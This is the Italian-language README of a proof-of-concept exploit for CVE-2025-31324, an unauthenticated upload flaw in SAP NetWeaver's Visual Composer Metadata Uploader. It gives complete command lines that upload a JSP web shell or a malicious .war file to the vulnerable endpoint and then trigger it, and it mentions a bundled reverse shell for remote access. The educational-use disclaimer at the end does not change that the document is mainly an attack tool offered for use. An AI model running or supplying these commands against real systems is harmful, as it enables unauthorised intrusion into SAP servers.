CVE-2025-31324_PoC

Proof-of-Concept per CVE-2025-31324: caricamento non autenticato in SAP NetWeaver Visual Composer Metadata Uploader

Questo script esegue:

1. Caricamento del file sull'endpoint vulnerabile (tramite host/porta Upload)
2. Attivazione opzionale tramite HTTP GET (tramite host/porta Trigger)
3. Validazione/log di base della risposta

Esempio di utilizzo: python3 PoC.py
--host sap.example.com --port 50000
--endpoint /irj/portal/sap/bc/webdynpro/sap/ZWDC_METADATA_UPLDR
--file EvilPayload.war
--trigger-path /irj/portal/irj/servlet_jsp/irj/root/EvilPayload/shell.jsp
--trigger-host sap.example.com --trigger-port 50001 --trigger-https true
--bypass-portal

python3 PoC.py --host sap.example.com --port 50000
--endpoint /developmentserver/metadatauploader
--file shell.jsp
--trigger-path /visual_composer/shell.jsp
--trigger-host sap.example.com --trigger-port 50001 --trigger-https

Hai anche la possibilità di caricare un file .war se preferisci eseguire in questo modo. cache.jsp è una reverse shell che ti darà accesso una volta all'interno del sistema. (Sto ancora risolvendo alcuni problemi lì)

Disclaimer

Questo materiale è destinato esclusivamente a scopi educativi e non deve essere utilizzato per attività dannose. Assicurati sempre di avere le autorizzazioni necessarie e di seguire le linee guida etiche quando testi o ricerchi vulnerabilità di sicurezza.

Per qualsiasi domanda o chiarimento, non esitare a contattarci. Resta al sicuro e protetto!